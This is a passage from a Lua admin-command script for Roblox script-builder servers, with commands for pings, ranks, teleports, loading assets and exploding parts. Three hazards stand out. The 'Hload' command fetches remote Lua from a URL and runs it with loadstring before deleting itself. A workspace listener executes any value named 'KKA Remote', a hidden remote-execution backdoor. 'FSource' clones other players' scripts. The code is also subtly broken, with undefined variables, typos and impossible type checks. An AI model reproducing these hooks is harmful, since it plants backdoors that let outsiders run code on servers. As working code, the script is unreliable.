14732 | end) | |
14733 | Command("Ping2", 1, "Pings a Teal message", function(Msg, Speaker) | |
14734 | Output(Msg, Speaker,nil,nil,Database.Colors.Aqua) | |
14735 | end) | |
14736 | Command("Ping3", 1, "Pings a Lime message", function(Msg, Speaker) | |
14737 | Output(Msg, Speaker,nil,nil,Database.Colors.Green) | |
14738 | end) | |
14739 | Command("Ping4", 1, "Pings a Yellow message", function(Msg, Speaker) | |
14740 | Output(Msg, Speaker,nil,nil,Database.Colors.Yellow) | |
14741 | end) | |
14742 | ||
14743 | Command("Ping5", 1, "Pings a Magenta message", function(Msg, Speaker) | |
14744 | Output(Msg, Speaker,nil,nil,Database.Colors.CustomMagenta) | |
14745 | end) | |
14746 | Command("Ping6", 1, "Pings a PinkRed message", function(Msg, Speaker) | |
14747 | Output(Msg, Speaker,nil,nil,Database.Colors.PinkRed) | |
14748 | end) | |
14749 | Command("Ping7", 1, "Pings a Blue message", function(Msg, Speaker) | |
14750 | Output(Msg, Speaker,nil,nil,Database.Colors.Blue) | |
14751 | end) | |
14752 | Command("Ping8", 1, "Pings a Red message", function(Msg, Speaker) | |
14753 | Output(Msg, Speaker,nil,nil,Database.Colors.Red) | |
14754 | end) | |
14755 | ||
14756 | ||
14757 | Command("Ping9", 1, "Pings a Red message", function(Msg, Speaker) | |
14758 | Output(Msg, Speaker,nil,nil,Database.AdvancedColors.Random) | |
14759 | end) | |
14760 | ||
14761 | Command("Test", 1, "Tests if the admin is working", function(Msg, Speaker) | |
14762 | Dismiss(Speaker) | |
14763 | ypcall(function() | |
14764 | Output("Still works",Speaker,5) | |
14765 | end) | |
14766 | end) | |
14767 | Command("Setrank", 7, "Set's a players rank", function(Msg, Speaker) | |
14768 | local Split = GetSplit(Msg) | |
14769 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
14770 | local Rank = tonumber(Msg:sub(Split + 1)) | |
14771 | if #PlrTab > 0 then | |
14772 | for _,v in pairs(PlrTab) do | |
14773 | if v.Name ~= Owner then | |
14774 | ChangeRank(v, Rank) | |
14775 | Output("Changed "..v.Name.."'s rank to "..tostring(Rank), Speaker, 5) | |
14776 | end | |
14777 | end | |
14778 | end | |
14779 | end) | |
14780 | Command("FilterAdd", 7, "Adds a word to crash words table", function(Msg, Speaker) | |
14781 | table.insert(CrashWords, tostring(Msg)) | |
14782 | end) | |
14783 | Command("TpToPlace", 7, "Teleports a player to a place", function(Msg, Speaker) | |
14784 | local Split = GetSplit(Msg) | |
14785 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
14786 | local Id = tonumber(Msg:sub(Split + 1)) | |
14787 | if #PlrTab > 0 then | |
14788 | for _,v in pairs(PlrTab) do | |
14789 | if v.Name ~= Owner then | |
14790 | game:service'TeleportService':Teleport(Id,v.Character) | |
14791 | Output("Teleported "..v.Name.." to place Id :"..tonumber(Id), Speaker, 5) | |
14792 | end | |
14793 | end | |
14794 | end | |
14795 | end) | |
14796 | Command("Hat", 7, "Loads a hat to a player", function(Msg, Speaker) | |
14797 | local Split = GetSplit(Msg) | |
14798 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
14799 | local Id = tonumber(Msg:sub(Split + 1)) | |
14800 | local Insert3 = game:service'InsertService':LoadAsset(tonumber(Id)) | |
14801 | if #PlrTab > 0 then | |
14802 | for _,v in pairs(PlrTab) do | |
14803 | if v.Name ~= Owner then | |
14804 | if Insert3:IsA("Hat") then | |
14805 | Insert3.Parent = v.Character | |
14806 | if Insert3:IsA("Model") then | |
14807 | Insert3.Parent = v.Character | |
14808 | end | |
14809 | end | |
14810 | end | |
14811 | end | |
14812 | end | |
14813 | end) | |
14814 | Command("Gear", 7, "Loads a gear to a player", function(Msg, Speaker) | |
14815 | local Split = GetSplit(Msg) | |
14816 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
14817 | local Id = tonumber(Msg:sub(Split + 1)) | |
14818 | local Insert4 = game:service'InsertService':LoadAsset(tonumber(Id)) | |
14819 | if #PlrTab > 0 then | |
14820 | for _,v in pairs(PlrTab) do | |
14821 | if v.Name ~= Owner then | |
14822 | if Insert4:IsA("Tool") then | |
14823 | Insert4.Parent = v.Backpack | |
14824 | if Insert4:IsA("Model"):GetChildren():IsA("Tool") then | |
14825 | Insert4:GetChildren():IsA("Tool").Parent = v.Backpack | |
14826 | end | |
14827 | end | |
14828 | end | |
14829 | end | |
14830 | end | |
14831 | end) | |
14832 | Command("GetInfo", 1, "Gets a player's information", function(Msg, Speaker) | |
14833 | ||
14834 | local PlrTab = getPlayer(Speaker,Msg) | |
14835 | if #PlrTab > 0 then | |
14836 | for _,v in pairs(PlrTab) do | |
14837 | Output("Name: "..v.Name, Speaker) | |
14838 | Output("Age: "..v.AccountAge, Speaker) | |
14839 | Output("Id: "..v.userId, Speaker) | |
14840 | Output("DataComplexity: "..v.DataComplexity, Speaker) | |
14841 | Output("NameDisplayDistance: "..v.NameDisplayDistance, Speaker) | |
14842 | Output("HealthDisplayDistance: "..v.HealthDisplayDistance, Speaker) | |
14843 | Output("Character: "..v.Character.Name, Speaker) | |
14844 | Output("Camera Max: "..v.CameraMaxZoomDistance, Speaker) | |
14845 | Output("Camera Min: "..v.CameraMinZoomDistance, Speaker) | |
14846 | Output("Character Appearance: "..v.CharacterAppearance, Speaker) | |
14847 | Output("Clan Tag: "..v.ClanTag, Speaker) | |
14848 | end | |
14849 | end | |
14850 | end) | |
14851 | Command("LoadM", 7, "Loads a model into workspace", function(Msg, Speaker) | |
14852 | local Insert = game:service'InsertService':LoadAsset(tonumber(Id)) | |
14853 | if Insert:IsA("Model") then | |
14854 | Insert.Parent = game.Workspace | |
14855 | if Insert:IsA("Part") then | |
14856 | Insert.Parent = game.Workspace | |
14857 | if Insert:IsA("Script") then | |
14858 | Insert:Remove() | |
14859 | end | |
14860 | end | |
14861 | end | |
14862 | end) | |
14863 | Command("LoadS", 7, "Loads a script into workspace", function(Msg, Speaker) | |
14864 | local Insert2 = game:service'InsertService':LoadAsset(tonumber(Id)) | |
14865 | if Insert2:IsA("Model") then | |
14866 | Insert2:Remove() | |
14867 | if Insert2:IsA("Part") then | |
14868 | Insert2:Remove() | |
14869 | if Insert2:IsA("Script") then | |
14870 | Insert2.Parent = game.Workspace | |
14871 | if Insert2:IsA("LocalScript") then | |
14872 | Insert2.Parent = game.Workspace | |
14873 | if Insert2:IsA("ModuleScript") then | |
14874 | Insert2:Remove() | |
14875 | end | |
14876 | end | |
14877 | end | |
14878 | end | |
14879 | end | |
14880 | end) | |
14881 | Command("Bod", 7, "Adds a brick of death", function(Msg, Speaker) | |
14882 | local br = Instance.new("Part", game.Workspace) | |
14883 | br.Locked = true | |
14884 | br.Touched:connect(function(part) | |
14885 | local bo = Instance.new("Explosion", part) | |
14886 | bo.Position = part.Position | |
14887 | bo.BlastRadius = 40 | |
14888 | end) | |
14889 | end) | |
14890 | Command("Rbod", 7, "Repeatidily creates brick of deaths.", function(Msg, Speaker) | |
14891 | repeat | |
14892 | wait(2) | |
14893 | local br = Instance.new("Part", game.Workspace) | |
14894 | br.Locked = true | |
14895 | br.Touched:connect(function(part) | |
14896 | local bo = Instance.new("Explosion", br) | |
14897 | bo.Position = br.Position | |
14898 | bo.BlastRadius = 40 | |
14899 | end) | |
14900 | wait(2) | |
14901 | until | |
14902 | game:GetService("Lighting").FogEnd == 1 | |
14903 | end) | |
14904 | Command("CheckSource", 1, "Checks Source", function(Msg, Speaker) | |
14905 | Dismiss() | |
14906 | Output("Source Name: "..SourceName, Speaker, 5) | |
14907 | end | |
14908 | ) | |
14909 | ||
14910 | Command("FSource", 7, "Finds the source of the script builder", function(Msg,Speaker) | |
14911 | coroutine.wrap(function() | |
14912 | while wait() do | |
14913 | if LSource ~= nil then break end | |
14914 | if SourceName == "source" then break end | |
14915 | for _,v in pairs(game.Players:players()) do | |
14916 | if LSource ~= nil then break end | |
14917 | pcall(function() | |
14918 | for j,k in pairs(v.Backpack:children()) do | |
14919 | if LSource ~= nil then break end | |
14920 | if k.ClassName == 'LocalScript' then | |
14921 | if k:findFirstChild(SourceName) ~= nil then | |
14922 | k.Archivable = true | |
14923 | LSource = k:Clone() | |
14924 | LSource.Disabled = true | |
14925 | Output("Source found",Seaker,5) | |
14926 | break | |
14927 | end | |
14928 | end | |
14929 | wait() | |
14930 | end | |
14931 | for j,k in pairs(v.Character:children()) do | |
14932 | if LSource ~= nil then break end | |
14933 | if k.ClassName == 'LocalScript' then | |
14934 | if k:findFirstChild(SourceName) ~= nil then | |
14935 | k.Archivable = true | |
14936 | LSource = k:Clone() | |
14937 | LSource.Disabled = true | |
14938 | Output("Source found",Speaker,5) | |
14939 | break | |
14940 | end | |
14941 | end | |
14942 | wait() | |
14943 | end | |
14944 | end) | |
14945 | end | |
14946 | end | |
14947 | end)() | |
14948 | end) | |
14949 | ||
14950 | Command("Hload", 7, "Creates a HttpService script", function(Msg, Speaker) | |
14951 | local Split = GetSplit(Msg) | |
14952 | local Person = tostring(Msg:sub(Split - 1)) | |
14953 | local Stypi = tostring(Msg:sub(Split + 1)) | |
14954 | NewS([[ | |
14955 | a,b = pcall(function() | |
14956 | h = game:service'HttpService' | |
14957 | link = 'https://code.stypi.com/raw/]]..Person..[[/]]..Stypi..[[.lua' | |
14958 | scr = h:GetAsync(link,true) | |
14959 | loadstring(scr)() | |
14960 | script.Parent:Remove() | |
14961 | script:Remove() | |
14962 | end) if not a then Instance.new("Hint",workspace).Text = b end | |
14963 | ]], game.Workspace) | |
14964 | end) | |
14965 | ||
14966 | Command("KKAR", 7, "Removes The Admin", function(Msg, Speaker) | |
14967 | Dismiss() | |
14968 | Removed = true | |
14969 | for i,v in pairs(getfenv(1)) do | |
14970 | getfenv(1)[i] = nil | |
14971 | end | |
14972 | script.Disabled = true | |
14973 | end) | |
14974 | end) | |
14975 | ||
14976 | ||
14977 | ||
14978 | ||
14979 | ||
14980 | ||
14981 | Command("Shutdown", 3, "Shuts the server down", function(Msg, Speaker) | |
14982 | Dismiss() | |
14983 | SystemMsg("Shutting down server...") | |
14984 | wait(6) | |
14985 | SystemMsg("The shutdown command has been used!") | |
14986 | wait(6) | |
14987 | SystemMsg("The server will shutdown in 5 seconds!") | |
14988 | wait(6) | |
14989 | SystemMsg("4!") | |
14990 | wait(6) | |
14991 | SystemMsg("Hold on,Door's ringing.") | |
14992 | wait(6) | |
14993 | SystemMsg("That was a bummer,I forgot to eat my taco.") | |
14994 | wait(6) | |
14995 | SystemMsg("Delishous!") | |
14996 | wait(6) | |
14997 | SystemMsg("Wait, what second was i on again?") | |
14998 | wait(6) | |
14999 | SystemMsg("Oh right, 5 seconds.") | |
15000 | wait(6) | |
15001 | SystemMsg("Hold on, I just woke up and i need to eat pancakes.") | |
15002 | wait(6) | |
15003 | SystemMsg("There we go! Full on breakfeast!") | |
15004 | wait(6) | |
15005 | SystemMsg("Shutting down the server in 4 seconds.") | |
15006 | wait(6) | |
15007 | SystemMsg("Naw, I'm tried ,so i'll just take a nap.") | |
15008 | wait(6) | |
15009 | SystemMsg("*Hears explosions*") | |
15010 | wait(6) | |
15011 | SystemMsg("OMG NOOBS ARE BLOWING UP MY HOUSE!") | |
15012 | wait(6) | |
15013 | SystemMsg("X_X") | |
15014 | wait(6) | |
15015 | SystemMsg("Wait i came back to life..") | |
15016 | wait(6) | |
15017 | SystemMsg("NEVERMIND!!!") | |
15018 | wait(6) | |
15019 | SystemMsg("Noob:I EXPLODE HOUSE! DIE!") | |
15020 | wait(6) | |
15021 | SystemMsg("Police:Your arrested noob!") | |
15022 | wait(6) | |
15023 | Output("The shutdown failed,",Speaker,5) | |
15024 | end) | |
15025 | local con = game:service'Workspace'.descendantAdded:connect(function(asd) | |
15026 | if asd.ClassName == 'StringValue' then | |
15027 | if asd.Name == 'LolCon' then | |
15028 | local k = asd.Value:find('\31') | |
15029 | local plr = asd.Value:sub(1,tonumber(k)-1) | |
15030 | local msg = asd.Value:sub(tonumber(k)+1) | |
15031 | onChatted(plr,msg) | |
15032 | elseif asd.Name == "KKA Remote" then | |
15033 | local func = loadstring(asd.Value) | |
15034 | if func then asd:Destroy() return pcall(func) end | |
15035 | end asd:Destroy() | |
15036 | end | |
15037 | end) | |
15038 | Chats[#Chats+1] = con | |
15039 | game.Workspace.descendantAdded:connect(function(a) | |
15040 | if a.ClassName == 'Script' then | |
15041 | if ScriptingLocked and a.Name ~= "0" then | |
15042 | a.Disabled = true a:Destroy() | |
15043 | end | |
15044 | end | |
15045 | end) | |
15046 | while wait() do | |
15047 | for _,v in pairs (game.Players:players()) do | |
15048 | v.Backpack.descendentAdded:connect(function(a2) | |
15049 | if a.ClassName == 'LocalScript' then | |
15050 | if ScriptingLocked and a.Name ~= "0" then | |
15051 | a2.Disabled = true | |
15052 | a2:remove() | |
15053 | end | |
15054 | end | |
15055 | end) | |
15056 | end | |
15057 | end | |
15058 | coroutine.wrap(function() | |
15059 | while wait() do | |
15060 | for _,v in pairs (game.Players:players()) do | |
15061 | if v.Backpack then | |
15062 | Connect(v) | |
15063 | Output(v.Name.." has joined the server", Speaker) | |
15064 | elseif Priv == true and not v.Name:match("^[Ee]insteinK$") then | |
15065 | if FindRank(v) < 1 then | |
15066 | Output(v.Name.." has been kicked due to private server", Speaker) | |
15067 | wait(1) | |
15068 | v:Kick() | |
15069 | end | |
15070 | end | |
15071 | end | |
15072 | end | |
15073 | end) | |
15074 | game.Players.PlayerAdded:connect(function(hi) | |
15075 | for _,v in pairs(game:service'Players'.Parent.Players:children()) do | |
15076 | if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then | |
15077 | pcall(function() Output("Connected: "..tostring(hi),v,3) end) | |
15078 | end | |
15079 | end | |
15080 | end) | |
15081 | game:service'Players'.PlayerAdded:connect(function() | |
15082 | for _,v in pairs (game.Players:players()) do | |
15083 | for _,w in pairs (CrashWords) do | |
15084 | v.Chatted:Connect(function(Msg) | |
15085 | if CrashPhrases == true then | |
15086 | if Msg == tostring(w) and FindRank(v.Name) <= 3 and not v.Name:match("^[Ee]insteinK$") then | |
15087 | Output("Player ["..v.Name.."] has been kicked for saying "..w, Speaker, 5) | |
15088 | v:Kick() | |
15089 | end | |
15090 | end | |
15091 | end) | |
15092 | end | |
15093 | end | |
15094 | end) | |
15095 | game:service'RunService'.Stepped:connect(UpdateNilPlayerTablets) |